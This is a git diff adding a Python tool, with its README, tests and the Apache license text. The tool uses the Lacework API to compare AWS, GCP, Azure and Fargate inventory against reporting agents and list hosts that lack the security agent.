Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/instance-discovery/README.md b/instance-discovery/README.md new file mode 100644 index 0000000..d944485 --- /dev/null +++ b/instance-discovery/README.md @@ -0,0 +1,46 @@ +# Instance Discovery + +## Identify Instances without Lacework Agent + +A script to review current Lacework instance inventories against active agents to help identify hosts lacking the Lacework agent. + +Supports GCP & AWS. Azure VM support present, but not comprehensive for VMSS. Initial Fargate support just introduced. + +## How to Run + +`docker run -v ~/.lacework.toml:/home/user/.lacework.toml valerianjone807/instance-discovery --json` + +OR + +`docker run -v ~/.lacework.toml:/home/user/.lacework.toml valerianjone807/instance-discovery --csv --profile > whitespace-report.csv` + +``` python +pip install -r requirements.txt +python3 instances_without_agents.py --json +``` + +## Results + +There are three separate result sets: +- Instances without Agents -- These are resources which we have in Resource Inventory which could not be reconciled with agents reporting in. +- Agents without Inventory -- These are agents which are reporting in, but for which we do not have an inventory record of the instance. This could be due to inventory staleness or from agents running on uncovered Cloud Accounts or on-prem VMs. +- Instances with Agents -- These are the inventory records which correctly reconcile with agent info. + +Note: As we don't currently inventory Fargate tasks, these will always show as "Agents without Inventory" + + +## Arguments + +| short | long | default | help | +| :---- | :-------------------------------- | :------ | :--------------------------------------------------------------------------------------------| +| `-h` | `--help` | | show this help message and exit | +| | `--account` | `None` | The Lacework account to use | +| | `--subaccount` | `None` | The Lacework sub-account to use | +| | `--api-key` | `None` | The Lacework API key to use | +| | `--api-secret` | `None` | The Lacework API secret to use | +| `-p` | `--profile` | `None` | The Lacework CLI profile to use | +| | `--current-sub-account-only` | `False` | Default behavior will iterate all Lacework sub-subaccounts | +| | `--statistics` | `False` | When selected, output will be deployment statistics will be provided instead of output results | +| | `--csv` | `False` | Enable csv output | +| | `--json` | `False` | Enable json output +| | `--debug` | `False` | Enable debug logging | diff --git a/instance-discovery/instances_without_agents.py b/instance-discovery/instances_without_agents.py new file mode 100644 index 0000000..ce0e00c --- /dev/null +++ b/instance-discovery/instances_without_agents.py @@ -0,0 +1,594 @@ +import json +import argparse +import logging +import os +import copy + +from datetime import datetime, timedelta, timezone +from laceworksdk import LaceworkClient +from concurrent.futures import ThreadPoolExecutor, as_completed + +logger = logging.getLogger('instance-discovery') + +MAX_RESULT_SET: int = 500_000 +LOOKBACK_DAYS: int = 1 +INVENTORY_CACHE: dict = {} +AGENT_CACHE: dict = {} +INSTANCE_CLUSTER_CACHE: dict = {} + + +class OutputRecord(): + def __init__(self, urn: str, creation_time: str, is_kubernetes: bool, subaccount: str, os_image: str, tags: object = None) -> None: + self.urn = urn + self.creation_time = creation_time + self.is_kubernetes = is_kubernetes + self.os_image = os_image + self.subaccount = subaccount + self.tags = tags + + def __str__(self) -> str: + return json.dumps(self.__dict__, indent=4, sort_keys=True) + + def __repr__(self) -> str: + return json.dumps(self.__dict__, indent=4, sort_keys=True) + + def __eq__(self, o: object) -> bool: + return self.urn == o.urn + + def __hash__(self) -> int: + return hash(self.urn) + + +class InstanceResult(): + def __init__(self, instances_without_agents: set[OutputRecord], instances_with_agents: set[OutputRecord], agents_without_inventory: set[OutputRecord]) -> None: + self.instances_without_agents = list(instances_without_agents) + self.instances_with_agents = list(instances_with_agents) + self.agents_without_inventory = list(agents_without_inventory) + + self.instances_without_agents.sort(key=lambda x: x.urn) + self.instances_with_agents.sort(key=lambda x: x.urn) + self.agents_without_inventory.sort(key=lambda x: x.urn) + + def printJson(self) -> None: + print(json.dumps(self.__dict__, indent=4, sort_keys=True, default=serialize)) + + def printCsv(self) -> None: + print("Identifier,CreationTime,Instance_without_agent,Instance_reconciled_with_agent,Agent_without_inventory,Os_image,Tags,Subaccount") + for i in self.instances_without_agents: + print(f'{i.urn},{i.creation_time},true,,,"{i.os_image}","{str(i.tags).replace(chr(34),chr(39))}",{i.subaccount}') + + for i in self.instances_with_agents: + print(f'{i.urn},{i.creation_time},,true,,"{i.os_image}","{str(i.tags).replace(chr(34),chr(39))}",{i.subaccount}') + + for i in self.agents_without_inventory: + print(f'{i.urn},{i.creation_time},,,true,"{i.os_image}","{str(i.tags).replace(chr(34),chr(39))}",{i.subaccount}') + + def printStandard(self) -> None: + if len(self.instances_without_agents) > 0: + print(f'Instances without agent:') + for instance in self.instances_without_agents: + print(f'\t{instance.urn}') + print('\n') + + if len(self.instances_with_agents) > 0: + print(f'Instances reconciled with agent:') + for instance in self.instances_with_agents: + print(f'\t{instance.urn}') + print('\n') + + if len(self.agents_without_inventory) > 0: + print(f'Agents without corresponding inventory:') + for instance in self.agents_without_inventory: + print(f'\t{instance.urn}') + print('\n') + + +def serialize(obj: object) -> dict: + """JSON serializer for objects not serializable by default json code""" + return obj.__dict__ + + +def get_all_tenant_subaccounts(client: LaceworkClient) -> list: + return [i['accountName'] for i in client.user_profile.get()['data'][0]['accounts']] + + +def check_truncation(results: list) -> bool: + if type(results) == list: + if len(results) >= MAX_RESULT_SET: + return True + return False + + +# inspect resource to determine if it matches known identifiers marking it as a k8s node +def is_kubernetes(resource: dict, identifier: str) -> bool: + if identifier == "Aws": + if 'Tags' in resource['resourceConfig']: + for t in resource['resourceConfig']['Tags']: + if t['Key'] == 'eks:cluster-name': + INSTANCE_CLUSTER_CACHE[resource['resourceConfig']['InstanceId']] = t['Value'] + return True + elif identifier == "Gcp": + if 'labels' in resource['resourceConfig']: + for l in resource['resourceConfig']['labels']: + if 'goog-gke-node' in l: + # TODO: INSTANCE_CLUSTER_CACHE + return True + elif identifier == "Azure": + pass + else: + raise Exception("Identifer not correctly passed to is_kubernetes!") + + return False + + +def get_fargate_with_lacework_agents(input: object, lw_subaccount: str) -> tuple[list, list]: + tasks_with_agent = list() + tasks_without_agent = list() + + for page in input: + for task in page['data']: + task_placed = False + tags = task['resourceConfig']['tags'] if 'tags' in task['resourceConfig'] else '' + if 'containers' in task['resourceConfig']: + for container in task['resourceConfig']['containers']: + if 'datacollector' in container['image']: + tasks_with_agent.append(OutputRecord(container['taskArn'],'',False, lw_subaccount, '', tags)) + task_placed = True + break + if not task_placed: + tasks_without_agent.append(OutputRecord(task['resourceConfig']['taskArn'],'',False, lw_subaccount, '', tags)) + + return (tasks_with_agent, tasks_without_agent) + + +def apply_fargate_filter(client: LaceworkClient, start_time: str, end_time: str, instances_without_agents: list, matched_instances: list, agents_without_inventory: list, lw_subaccount_name: str) -> tuple[list, list, list]: + + ########## + # Fargate is different + ########## + fargate_inventory = client.inventory.search(json={ + 'timeFilter': { + 'startTime' : start_time, + 'endTime' : end_time + }, + 'filters': [ + { 'field': 'resourceType', 'expression': 'eq', 'value':'ecs:task'}, + { 'field': 'resourceConfig.launchType', 'expression': 'eq', 'value':'FARGATE'} + ], + 'csp': 'AWS' + }) + + # TODO: type the task + fargate_tasks_with_agent, fargate_tasks_without_agent = get_fargate_with_lacework_agents(fargate_inventory, lw_subaccount_name) + + # Fargate complications -- Currently going to run this as a completely seperate filter + # and modify the three existing result sets independently + + matched_fargate_instances = set([task for task in fargate_tasks_with_agent if any(task.urn in hostname.urn for hostname in agents_without_inventory)]) + matched_instances.extend(matched_fargate_instances) + logger.debug(f'matched faragate instances: {len(matched_instances)}') + logger.debug(f'missing fargate instances: {len(fargate_tasks_without_agent)}') + + # The rfind is likely not comprehensive, but it nails it for the sample data + # so in the spirit of getting something out there...away we go + logger.debug(f'agents w/o inventory - pre: {len(agents_without_inventory)}') + set_matched_fargate_urns = set([t.urn for t in matched_fargate_instances]) + agents_without_inventory = [a for a in agents_without_inventory if a.urn[0:a.urn.rfind('_')] not in set_matched_fargate_urns] + logger.debug(f'agents w/o inventory - post: {len(agents_without_inventory)}') + + logger.debug(f'instances w/o agents - pre: {len(instances_without_agents)}') + instances_without_agents.extend(fargate_tasks_without_agent) + logger.debug(f'instances w/o agents - post: {len(instances_without_agents)}') + + return (instances_without_agents, matched_instances, agents_without_inventory) + + +def get_agent_instances(client: LaceworkClient, start_time: str, end_time: str) -> list[dict]: + + ######## + # Agents + ######## + all_agent_instances = client.agent_info.search(json={ + 'timeFilter': { + 'startTime' : start_time, + 'endTime' : end_time + } + }) + + list_agent_instances = list() + for page in all_agent_instances: + for r in page['data']: + if ('tags' in r.keys() + and 'VmProvider' in r['tags'].keys() + and (r['tags']['VmProvider'] == 'GCE' or r['tags']['VmProvider'] == 'GCP')): + + list_agent_instances.append(r['tags']['InstanceId']) + try: + AGENT_CACHE[r['tags']['InstanceId']] = 'gcp' + '/' + r['tags']['ProjectId'] + '/' + r['tags']['Hostname'] + except: + AGENT_CACHE[r['tags']['InstanceId']] = 'gcp' + '/' + r['tags']['Hostname'] + + elif ('tags' in r.keys() + and 'VmProvider' in r['tags'].keys() + and r['tags']['VmProvider'] == 'AWS'): + + if 'InstanceId' in r['tags'].keys(): # EC2 use case - InstanceId is in URN + list_agent_instances.append(r['tags']['InstanceId']) + if 'Account' in r['tags'].keys(): + AGENT_CACHE[r['tags']['InstanceId']] = 'aws' + '/' + r['tags']['Account'] + '/' + r['tags']['Hostname'] + else: # random Windows agent use case? + AGENT_CACHE[r['tags']['InstanceId']] = 'aws' + '/' + r['tags']['ProjectId'] + '/' + r['tags']['Hostname'] + else: # Fargate use case + list_agent_instances.append(r['tags']['Hostname']) + + elif ('tags' in r.keys() + and 'VmProvider' in r['tags'].keys() + and r['tags']['VmProvider'] == 'Microsoft.Compute'): + + list_agent_instances.append(r['tags']['InstanceId']) + if 'Account' in r['tags'].keys(): + AGENT_CACHE[r['tags']['InstanceId']] = 'azure' + '/' + r['tags']['Account'] + '/' + r['tags']['Hostname'] + else: # random Windows agent use case? + AGENT_CACHE[r['tags']['InstanceId']] = 'azure' + '/' + r['tags']['ProjectId'] + '/' + r['tags']['Hostname'] + + else: + list_agent_instances.append(r['hostname']) + + if check_truncation(list_agent_instances): + logger.warning(f'WARNING: Agent Instances truncated at {MAX_RESULT_SET} records') + logger.debug(f'Agent Instances: {list_agent_instances}\n') + + return list_agent_instances + + +def get_gcp_instance_inventory(client: LaceworkClient, start_time: str, end_time: str, lw_subaccount: str) -> list[dict]: + ###### + # GCP + ###### + gcp_inventory = client.inventory.search(json={ + 'timeFilter': { + 'startTime' : start_time, + 'endTime' : end_time + }, + 'filters': [ + { 'field': 'resourceType', 'expression': 'eq', 'value':'compute.googleapis.com/Instance'} + ], + 'csp': 'GCP' + }) + + list_gcp_instances = list() + for page in gcp_inventory: + for r in page.get('data', []): + # rough handling so that a small number of unexpected formats don't kill the entire output + try: + tags = r['resourceConfig']['tags'] if 'tags' in r['resourceConfig'] else '' + identifier = r['resourceConfig']['id'] + list_gcp_instances.append(identifier) + # identify OS image from GCP instance + os_image = str() + try: + count = 0 + for disk in r['resourceConfig']['disks']: + if 'licenses' in disk.keys(): + os_image = r['resourceConfig']['disks'][count]['licenses'] + break + elif 'initializeParams' in disk.keys(): + params = r['resourceConfig']['disks']['initializeParams'] + if 'sourceImage' in params: + os_image = r['resourceConfig']['disks']['initializeParams']['sourceImage'] + break + count += 1 + except: + if r['resourceConfig']['status'] != 'TERMINATED': + logger.warning(f'Unable to parse os_image info for instance {r}') + + INVENTORY_CACHE[identifier] = OutputRecord(r['urn'], r['resourceConfig']['creationTimestamp'], is_kubernetes(r,'Gcp'), lw_subaccount, os_image, tags) + except Exception as ex: + logger.warning(f'Host could not be parsed due to incomplete inventory information: {ex} \n{r}') + pass + + if check_truncation(list_gcp_instances): + logger.warning(f'WARNING: GCP Instances truncated at {MAX_RESULT_SET} records') + logger.debug(f'GCP Instances: {list_gcp_instances}\n') + + return list_gcp_instances + + +def get_aws_instance_inventory(client: LaceworkClient, start_time: str, end_time: str, lw_subaccount: str) -> list[dict]: + ###### + # AWS + ###### + aws_inventory = client.inventory.search(json={ + 'timeFilter': { + 'startTime' : start_time, + 'endTime' : end_time + }, + 'filters': [ + { 'field': 'resourceType', 'expression': 'eq', 'value':'ec2:instance'} + ], + 'csp': 'AWS' + }) + + list_aws_instances = list() + for page in aws_inventory: + for r in page.get('data', []): + # rough handling so that a small number of unexpected formats don't kill the entire output + try: + identifier = r['resourceConfig']['InstanceId'] + tags = r['resourceConfig']['Tags'] if 'Tags' in r['resourceConfig'] else '' + list_aws_instances.append(identifier) + os_image = str() + INVENTORY_CACHE[identifier] = OutputRecord(r['urn'], r['resourceConfig']['LaunchTime'], is_kubernetes(r,'Aws'), lw_subaccount, os_image, tags) + except Exception as ex: + logger.warning(f'Host could not be parsed due to incomplete inventory information: {ex} \n{r}') + pass + + if check_truncation(list_aws_instances): + logger.warning(f'WARNING: AWS Instances truncated at {MAX_RESULT_SET} records') + logger.debug(f'AWS Instances: {list_aws_instances}\n') + + return list_aws_instances + + +def get_azure_instance_inventory(client: LaceworkClient, start_time: str, end_time: str, lw_subaccount: str) -> list[dict]: + ###### + # Azure + ###### + # TODO: Get VMSS instances + azure_inventory = client.inventory.search(json={ + 'timeFilter': { + 'startTime' : start_time, + 'endTime' : end_time + }, + 'filters': [ + { 'field': 'resourceType', 'expression': 'eq', 'value':'microsoft.compute/virtualmachines'} + ], + 'csp': 'Azure' + }) + + list_azure_instances = list() + for page in azure_inventory: + for r in page.get('data', []): + # rough handling so that a small number of unexpected formats don't kill the entire output + try: + tags = r['resourceTags'] if 'resourceTags' in r else '' + identifier = r['resourceConfig']['vmId'] + list_azure_instances.append(identifier) + os_image = str() + INVENTORY_CACHE[identifier] = OutputRecord(r['urn'], r['resourceConfig']['timeCreated'], is_kubernetes(r,'Azure'), lw_subaccount, os_image, tags) + except Exception as ex: + logger.warning(f'Host could not be parsed due to incomplete inventory information: {ex} \n{r}') + pass + + if check_truncation(list_azure_instances): + logger.warning(f'WARNING: Azure Instances truncated at {MAX_RESULT_SET} records') + logger.debug(f'Azure Instances: {list_azure_instances}\n') + + return list_azure_instances + + +def apply_agent_presence_filtering(instance_inventory: list, list_agent_instances: list, lw_subaccount: str) -> tuple[list, list, list]: + + instances_without_agents = list() + matched_instances = list() + agents_without_inventory = list() + + set_agent_instances = set(list_agent_instances) + ######### + # Set Ops + ######### + for instance_id in instance_inventory: + normalized_output = INVENTORY_CACHE[instance_id] + + if instance_id in set_agent_instances: + matched_instances.append(normalized_output) + # TODO: add secondary check for "premptible instances" + else: + instances_without_agents.append(normalized_output) + + for instance in list_agent_instances: + if not any(instance in instance_urn.urn for instance_urn in matched_instances): + if instance in AGENT_CACHE: + # pull out host name if we have it + instance = AGENT_CACHE[instance] + o = OutputRecord(instance,'','',lw_subaccount,'') + agents_without_inventory.append(o) + + return (instances_without_agents, matched_instances, agents_without_inventory) + + +def generate_subaccount_report(client: LaceworkClient, start_time: str, end_time: str, lw_subaccount: str) -> tuple[list, list, list]: + list_agent_instances = get_agent_instances(client, start_time, end_time) + list_gcp_instances = get_gcp_instance_inventory(client, start_time, end_time, lw_subaccount) + list_aws_instances = get_aws_instance_inventory(client, start_time, end_time, lw_subaccount) + list_azure_instances = get_azure_instance_inventory(client, start_time, end_time, lw_subaccount) + + all_instances_inventory = set(list_aws_instances) | set(list_gcp_instances) | set(list_azure_instances) # union the three sets + instances_without_agents, matched_instances, agents_without_inventory = apply_agent_presence_filtering(all_instances_inventory, list_agent_instances, lw_subaccount) + + logger.debug(f'Instances_without_agents:{instances_without_agents}') + logger.debug(f'Matched_Instances:{matched_instances}') + logger.debug(f'Agents_without_inventory:{agents_without_inventory}') + + # run the Fargate pass as a separate filter (for now) + instances_without_agents, matched_instances, agents_without_inventory = apply_fargate_filter(client, start_time, end_time, instances_without_agents, matched_instances, agents_without_inventory, lw_subaccount) + + return (instances_without_agents, matched_instances, agents_without_inventory) + + +def output_statistics(args: argparse.Namespace, instance_result: InstanceResult, user_profile_data: dict) -> None: + + coverage_percent = round((len(instance_result.instances_with_agents) / len(instance_result.instances_without_agents + instance_result.instances_with_agents)) * 100, 2) if len(instance_result.instances_with_agents) > 0 else 0 + print(f'Number of distinct hosts identified during inventory assessment: {len(instance_result.instances_without_agents + instance_result.instances_with_agents)}') + print(f'Number of hosts which report successful agent operation: {len(instance_result.instances_with_agents)}') + print(f'Coverage Percentage: {coverage_percent}%') + + if not args.current_sub_account_only: + for lw_subaccount in user_profile_data.get('accounts', []): + lw_subaccount_name = lw_subaccount.get('accountName','') + + instances_without_agents_count = len([i for i in instance_result.instances_without_agents if i.subaccount == lw_subaccount_name]) + instances_with_agent_count = len([i for i in instance_result.instances_with_agents if i.subaccount == lw_subaccount_name]) + # divide by zero handler... + coverage_percent = round((instances_with_agent_count / (instances_without_agents_count + instances_with_agent_count)) * 100, 2) if instances_with_agent_count > 0 else 0 + + print() + print(f'{lw_subaccount_name} -- Number of distinct hosts identified during inventory assessment: {instances_without_agents_count + instances_with_agent_count}') + print(f'{lw_subaccount_name} -- Number of hosts which report successful agent operation: {instances_with_agent_count}') + print(f'{lw_subaccount_name} -- Coverage Percentage: {coverage_percent}%') + + +def main(args: argparse.Namespace) -> None: + + if not args.profile and not args.account and not args.subaccount and not args.api_key and not args.api_secret: + args.profile = 'default' + + if args.csv and args.json: + logger.error('Please specify only one of --csv or --json for output formatting') + exit(1) + elif args.profile and any([args.account, args.api_key, args.api_secret]): + logger.error('If passing a profile, other credential values should not be specified.') + exit(1) + elif not args.profile and not all([args.account, args.api_key, args.api_secret]): + logger.error('If passing credentials, please specify at least --account, --api-key, and --api-secret. --sub-account is optional for this input format.') + exit(1) + + # setup logger in main for testability + logging.basicConfig( + format='%(asctime)s %(name)s [%(levelname)s] %(message)s' + ) + logger = logging.getLogger('instance-discovery') + logger.setLevel(os.getenv('LOG_LEVEL', logging.INFO)) + + try: + client = LaceworkClient( + account=args.account, + subaccount=args.subaccount, + api_key=args.api_key, + api_secret=args.api_secret, + profile=args.profile + ) + except Exception: + raise + + if args.debug: + logger.setLevel('DEBUG') + logging.basicConfig(level=logging.DEBUG) + + current_time = datetime.now(timezone.utc) + start_time = current_time - timedelta(days=LOOKBACK_DAYS) + start_time = start_time.strftime('%Y-%m-%dT%H:%M:%SZ') + end_time = current_time.strftime('%Y-%m-%dT%H:%M:%SZ') + + instances_without_agents = set() + matched_instances = set() + agents_without_inventory = set() + + # Grab the lacework accounts that the user has access to + user_profile = client.user_profile.get() + user_profile_data = user_profile.get("data", {})[0] + + if args.current_sub_account_only: + # magic to get the current subaccount for reporting on where things are + lw_subaccount = client.account._session.__dict__['_subaccount'] + if lw_subaccount == None: + # very hacky pull of the subdomain off the base_url + lw_subaccount = client.account._session.__dict__['_base_url'].split('.')[0].split(':')[1][2::] + + instances_without_agents, matched_instances, agents_without_inventory = generate_subaccount_report(client, start_time, end_time, lw_subaccount) + + else: + + executor_tasks = list() + with ThreadPoolExecutor() as executor: + + # Iterate through all subaccounts + for lw_subaccount in user_profile_data.get('accounts', []): + lw_subaccount_name = lw_subaccount.get('accountName','') + client.set_subaccount(lw_subaccount_name) + + executor_tasks.append(executor.submit(generate_subaccount_report, copy.deepcopy(client), start_time, end_time, lw_subaccount_name)) + + for task in as_completed(executor_tasks): + result = task.result() + + instances_without_agents = instances_without_agents.union(result[0]) + matched_instances = matched_instances.union(result[1]) + agents_without_inventory = agents_without_inventory.union(result[2]) + + instance_result = InstanceResult(instances_without_agents, matched_instances, agents_without_inventory) + if args.statistics: + output_statistics(args, instance_result,user_profile_data) + else: + if args.json: + instance_result.printJson() + elif args.csv: + instance_result.printCsv() + else: + instance_result.printStandard() + + +if __name__ == '__main__': + parser = argparse.ArgumentParser( + description='Discover hosts not running the Lacework agent' + ) + parser.add_argument( + '--account', + default=os.environ.get('LW_ACCOUNT', None), + help='The Lacework account to use' + ) + parser.add_argument( + '--subaccount', + default=os.environ.get('LW_SUBACCOUNT', None), + help='The Lacework sub-account to use' + ) + parser.add_argument( + '--api-key', + dest='api_key', + default=os.environ.get('LW_API_KEY', None), + help='The Lacework API key to use' + ) + parser.add_argument( + '--api-secret', + dest='api_secret', + default=os.environ.get('LW_API_SECRET', None), + help='The Lacework API secret to use' + ) + parser.add_argument( + '-p', '--profile', + default=os.environ.get('LW_PROFILE', None), + help='The Lacework CLI profile to use' + ) + parser.add_argument( + '--current-sub-account-only', + default=False, + action='store_true', + help='Report results for only current sub-account. Default is to iterate all sub-accounts the user has read access to.' + ) + parser.add_argument( + '--json', + default=False, + action='store_true', + help='Emit results as json for machine processing' + ) + parser.add_argument( + '--csv', + default=False, + action='store_true', + help='Emit results as csv' + ) + parser.add_argument( + '--statistics', + default=False, + action='store_true', + help='Output only statistics' + ) + parser.add_argument( + '--debug', + action='store_true', + default=os.environ.get('LW_DEBUG', False), + help='Enable debug logging' + ) + args = parser.parse_args() + + main(args) diff --git a/instance-discovery/requirements.txt b/instance-discovery/requirements.txt new file mode 100644 index 0000000..e66710b --- /dev/null +++ b/instance-discovery/requirements.txt @@ -0,0 +1,2 @@ +laceworksdk +requests diff --git a/instance-discovery/tests/test_integration_instances_without_agents.py b/instance-discovery/tests/test_integration_instances_without_agents.py new file mode 100644 index 0000000..6683624 --- /dev/null +++ b/instance-discovery/tests/test_integration_instances_without_agents.py @@ -0,0 +1,36 @@ +import sys +# setting path +sys.path.append('../instance-discovery') + +import instances_without_agents + +from argparse import Namespace +from unittest.mock import patch + +# @patch('instances_without_agents.generate_subaccount_report') +# def test_integration_default_profile_json_output_mocked_data(mock_report): + +# # setup mocks +# # TODO: Mock Agent data lookup +# # TODO: Mock AWS data lookup +# # TODO: Mock GCP data lookup +# # TODO: Mock Azure data lookup +# # TODO: Mock Fargate data lookup +# # TODO: Do we need to mock the client object instantiation? +# #mock_report.return_val = (1,[],[]) + +# # setup input variables - Default profile - json output +# # python3 instances_without_agents.py -p default --json +# args = Namespace(account='', api_key='', api_secret='', subaccount='', profile='default', csv=False, json=True, debug=False, current_sub_account_only=True, statistics=False) +# instances_without_agents.main(args) + +# # capture output +# #out, err = capsys.readouterr() +# out = '' +# err = '' + +# # assertions +# assert '"instances_with_agents"' in out +# assert '"instances_without_agents"' in out +# assert '"agents_without_inventory"' in out +# assert err == '' \ No newline at end of file diff --git a/instance-discovery/tests/test_unit_instances_without_agents.py b/instance-discovery/tests/test_unit_instances_without_agents.py new file mode 100644 index 0000000..8f99248 --- /dev/null +++ b/instance-discovery/tests/test_unit_instances_without_agents.py @@ -0,0 +1,158 @@ +import sys +# setting path +sys.path.append('../instance-discovery') + +import instances_without_agents +from argparse import Namespace +from unittest.mock import patch + +######################### +# check_truncation +######################### +def test_check_trucation_true(): + results = list([i for i in range(600_000)]) + assert(instances_without_agents.check_truncation(results) == True) + +def test_check_trucation_false(): + results = list([i for i in range(100)]) + assert(instances_without_agents.check_truncation(results) == False) + + +################################### +# get_fargate_with_lacework_agents +################################### +def test_get_fargate_with_lacework_agents_1(): + input_data = [ + {'data': + [{ + 'resourceConfig':{ + 'tags':{'a':'apple'}, + 'containers':[ + { 'image':'datacollector', + 'taskArn': 'abcd' + } + ], + 'taskArn': 'abcd' + } + }, + { + 'resourceConfig':{ + 'tags': {'b':'banana'}, + 'containers':[ + { 'image':'not-what-we-want', + 'taskArn': 'vxyz' + } + ], + 'taskArn': 'vxyz' + } + }] + } + ] + lw_subaccount = 'test' + results_with_agent, results_without_agent = instances_without_agents.get_fargate_with_lacework_agents(input_data, lw_subaccount) + + assert(results_with_agent != None) + assert(len(results_with_agent) == 1) + + assert(results_without_agent != None) + assert(len(results_without_agent) == 1) + + +################################### +# apply_fargate_filter +################################### +def test_apply_fargate_filter_1(): + # TODO: need to be able to mock LaceworkClinet.inventory.search + return 0 + + +################################### +# output_statistics +################################### +def test_output_statistics_current_account_1(capsys): + instances_without_agents_set = set() + instances_with_agents_set = set() + agents_without_inventory_set = set() + + input_instance_result = instances_without_agents.InstanceResult(instances_without_agents_set, instances_with_agents_set, agents_without_inventory_set) + input_user_profile_data = {'accounts':['test1']} + input_args = Namespace(account='', api_key='', api_secret='', subaccount='', profile='default', csv=False, json=True, debug=False, current_sub_account_only=True, statistics=False) + + instances_without_agents.output_statistics(input_args, input_instance_result, input_user_profile_data) + # capture output, k + out, err = capsys.readouterr() + + assert('Number of distinct hosts identified during inventory assessment: 0') + assert('Number of hosts which report successful agent operation: 0' in out) + assert('Coverage Percentage: 0%' in out) + assert(err == '') + + +def test_output_statistics_current_account_2(capsys): + instances_without_agents_set = set() + instances_with_agents_set = set([instances_without_agents.OutputRecord('test','',True,'test','test',{})]) + agents_without_inventory_set = set() + + input_instance_result = instances_without_agents.InstanceResult(instances_without_agents_set, instances_with_agents_set, agents_without_inventory_set) + input_user_profile_data = {'accounts':['test1']} + input_args = Namespace(account='', api_key='', api_secret='', subaccount='', profile='default', csv=False, json=True, debug=False, current_sub_account_only=True, statistics=False) + + instances_without_agents.output_statistics(input_args, input_instance_result, input_user_profile_data) + # capture output, k + out, err = capsys.readouterr() + + assert('Number of distinct hosts identified during inventory assessment: 1') + assert('Number of hosts which report successful agent operation: 1' in out) + assert('Coverage Percentage: 100.0%' in out) + assert(err == '') + + +def test_output_statistics_current_account_3(capsys): + instances_without_agents_set = set([instances_without_agents.OutputRecord('test2','',True,'test','test',{})]) + instances_with_agents_set = set([instances_without_agents.OutputRecord('test','',True,'test','test',{})]) + agents_without_inventory_set = set() + + input_instance_result = instances_without_agents.InstanceResult(instances_without_agents_set, instances_with_agents_set, agents_without_inventory_set) + input_user_profile_data = {'accounts':['test1']} + input_args = Namespace(account='', api_key='', api_secret='', subaccount='', profile='default', csv=False, json=True, debug=False, current_sub_account_only=True, statistics=False) + + instances_without_agents.output_statistics(input_args, input_instance_result, input_user_profile_data) + # capture output, k + out, err = capsys.readouterr() + + assert('Number of distinct hosts identified during inventory assessment: 2') + assert('Number of hosts which report successful agent operation: 1' in out) + assert('Number of hosts which report successful agent operation: 4' not in out) + assert('Coverage Percentage: 50.0%' in out) + assert(err == '') + + +################################### +# get_azure_instance_inventory +################################### + + + +################################### +# apply_agent_presence_filtering +################################### +# @patch('instances_without_agents.INVENTORY_CACHE') +# def test_apply_agent_presence_filtering_1(mock_cache): +# # TODO: Figure out how to actually leverage the mock_cache correctly... +# # ...or refactor to pass Cache as a parameter rather than a global var +# mock_cache.return_val = { +# 'abc': instances_without_agents.OutputRecord('abc','',True,'','',{}), +# 'xyz': 